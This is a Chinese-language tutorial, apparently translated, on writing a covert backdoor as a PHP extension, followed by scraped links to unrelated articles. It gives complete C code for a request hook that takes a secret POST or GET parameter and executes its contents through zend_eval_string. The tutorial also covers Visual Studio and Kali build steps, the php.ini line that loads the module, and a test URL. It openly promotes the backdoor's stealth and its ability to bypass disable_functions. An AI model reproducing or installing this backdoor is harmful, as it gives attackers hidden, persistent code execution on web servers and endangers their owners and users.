手把手教你编写基于PHP扩展库的后门教程

0x00 前言

今天我们将讨论编写基于PHP扩展库的后门。通常来说,大部分入侵者都会在脚本中留下自定义代码块后门。当然,这些东西很容易通过源代码的静态或动态分析找到。

利用PHP扩展库的好处显而易见:

1很难寻找 绕过disable_functions选项 有能力控制所有的代码 访问代码执行的API

但是我们需要有编辑PHP配置文件的能力。

0x01 细节

//【译者注:用linux两条命令搞定了,何必windows费这么大劲】

作为例子,我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本,编译PHP库(可从同一来源收集)。为简单起见,我们需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip

解压使用C编译PHP:PHP,源代码在C:PHP-SRC。

然后,你需要进行一些设置。

1)添加预处理器定义:

ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32

预处理器定义

2)添加的目录,用于连接源:

C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC

其他目录连接

3)添加其他目录中liboy php5ts.lib(C: PHP dev的)

其他目录库

4)添加连接库php5ts.lib。

装配额外的库

5)指定收集文件的路径。

保存配置文件

配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),创建一个新的项目类型后门“控制台应用程序的Win32”。

在Visual StudioVyberem型“库DLL»项目”

选择合适类型

然后,从项目中删除不必要的文件。应该只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。

在头文件stdafx.h中

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

现在,我们直接进入PHP扩展的代码。删除所有行,并添加所需的文件连接。

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

如果workspace设置已经正确,警告就会消失。

当模块被初始化时,会有几个事件,其中每一个都在特定条件下发生。我们需要在查询执行时,去执行我们的代码。要做到这一点,你必须初始化我们所需要的功能,我给它命名为«hideme»。

PHP_RINIT_FUNCTION(hideme);

然后你可以去看模块的初始化。

zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);

在这篇文章中,我们只需要加载中代码被执行即可,因此运行和卸载模块由空取代。

现在,你可以去看hideme的函数体。

PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码 //【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行 } } return SUCCESS; }

注释应该比较清楚。最初,我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数,如果有的话,我们就从它的值中取指令,并通过zend_eval_string执行代码。

编译后的所得,即可作为一个扩展库。

下载源代码

https://github.com/akamajoris/php-extension-backdoor

0x02 测试

//以下为译者测试截图:

1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

(因为原作者github代码设置的是execute)

Linux编译(kali)

1apt-get install php5-dev phpize && ./configure && make

在kali下测试一遍成功,我比较懒,直接chmod后把so复制到/var/www了哈哈

然后php.ini加上

1extension=/var/www/back.so

重启apache,测试成功

时间: 2024-07-30 03:16:21

手把手教你编写基于PHP扩展库的后门教程的相关文章

手把手教你编写Logstash插件

使用过Logstash的朋友都知道,它强大的插件生态几乎覆盖了所有的开源框架.从基本的http.tcp.udp.file,到强大的kafa.redis.ganglia,还有丰富的解析工具,比如date.json.grok.kv等等,有了它再也不用担心数据不好搜集了! 不过需求是无限的,如果这些框架都不满足怎么办呢? 没关系,十分佩服Logstash的作者,他以插件的方式组织每个部分,使得logstash本身具有超强的扩展性. Logstash基本组成 有过使用经验的都知道Logstash主要由输

手把手教你编写入门级redis客户端

Redis是开源的.基于内存的数据结构存储系统,可用作数据库.缓存以及消息代理方面.Redis支持许多种数据结构,并内置了丰富的诸如冗余.脚本.事务.持久化等功能,深受业界喜爱,被各种业务系统广泛使用.为了方便使用,Redis官网推荐了针对各种编程语言的多种客户端,支持java.c#.python.c++等主流编程语言.那么大家会问,既然Redis客户端已经这么丰富了,为什么还要尝试自己编写客户端?我的看法是,知己知彼,自己尝试制作Redis客户端,不仅可以加深对Redis的了解,而且可以通晓R

手把手教你编写-微信机器人

一. 引言       我们都知道微信提供了多种登录的方式包括手机端.电脑端以及web端.       web端的登录我们用Python程序完全可以模拟出来~~如果你不知道那也没关系稍微了解下Python request session即可       而所谓的机器人实际上就是后台一个智能的程序类似"微软小冰""iPhone siri".今天我们要用的是一个开放的机器人API"图灵机器人"       下面就让我们一步步分析如何通过模拟web端微

手把手教你发布自己的CocoaPods开源库

本文讲的是手把手教你发布自己的CocoaPods开源库,发布自己的cocoapods开源库按照以下步骤,良心制作,包教包会!! 下面我会通过一个名为IFMMenu的项目来讲解一下整个过程. 1.写好代码,上传到github github上创建项目仓库的时候记得创建LICENSE(许可证/授权)文件,此文件必须要有. github上创建项目仓库 2.将自己的项目打成tag 因为cocoapods是依赖tag版本的,所以必须打tag,以后再次更新只需要把你的项目打一个tag,然后修改.podspec

DynamicReports v2.0.0发布 基于JasperReports扩展的Java报表库

DynamicReports v2.0.0发布 基于JasperReports扩展的Java报表库,可用它来快速创建报表而无需可视化报表http://www.aliyun.com/zixun/aggregation/6993.html">设计工具. DynamicReports is based on JasperReports. It allows to create dynamic report designs and it doesn't need a visual report d

完成端口(CompletionPort)详解 - 手把手教你玩转网络编程系列之三

转载自 PiggyXP(小猪) 完成端口(CompletionPort)详解 - 手把手教你玩转网络编程系列之三 手把手叫你玩转网络编程系列之三    完成端口(Completion Port)详解                                                              ----- By PiggyXP(小猪) 前 言         本系列里完成端口的代码在两年前就已经写好了,但是由于许久没有写东西了,不知该如何提笔,所以这篇文档总是在酝酿之中

手把手教你从零搭建Python数据分析环境

由于最近再做推荐系统的特征处理,需要借助一些工具来筛选特征.最初使用了R,R的安装很简单,而且API也很容易使用,直接就能出图.后来,发现很多人在python和R之间做选择,所以我也在两个工具间摇摆不定.后来,发现Tensorflow里面有很多python的代码,而且python可以做爬虫写web,几乎是万金油的角色.本着想找一门以后日常使用的工具的心态,最终还是选择了python. 那么本篇就从下面几个方面介绍下,如何在日常使用python做数据分析: python安装以及numpy.matp

基于PHP扩展一种处理Emoji方法的类库介绍【Carmela】

Carmela介绍 Carmela提供基于PHP,PHP扩展,JAVA,C++等语言的一套处理4四节UTF-8解决方案,比如常见Emoji标签支持 背景: UTF-8格式含有Emoji表情字符串直接插入数据库,如果数据库未做调整会提示报错,通过更改数据库和表的字符集为utf8mb4_general_ci,可以避免这种问题.但是,在很多大型系统和架构中,修改数据库的字符集可能会引发很多的问题,比如PC端展示,新老数据兼容问题.针对这类问题,还有另外一种解决方案,入库前替换,出库后根据客户端类型做反

比较详细的手把手教你写批处理(willsort题注版)第1/5页_DOS/BAT

另,建议Climbing兄取文不用拘泥于国内,此类技术文章,内外水平相差极大:与其修正国内只言片语,不如翻译国外优秀著述. -------------------------------------------------------- 标题:手把手教你写批处理-批处理的介绍 作者:佚名 编者:Climbing 题注:willsort 日期:2004-09-21 -------------------------------------------------------- 批处理的介绍 扩展名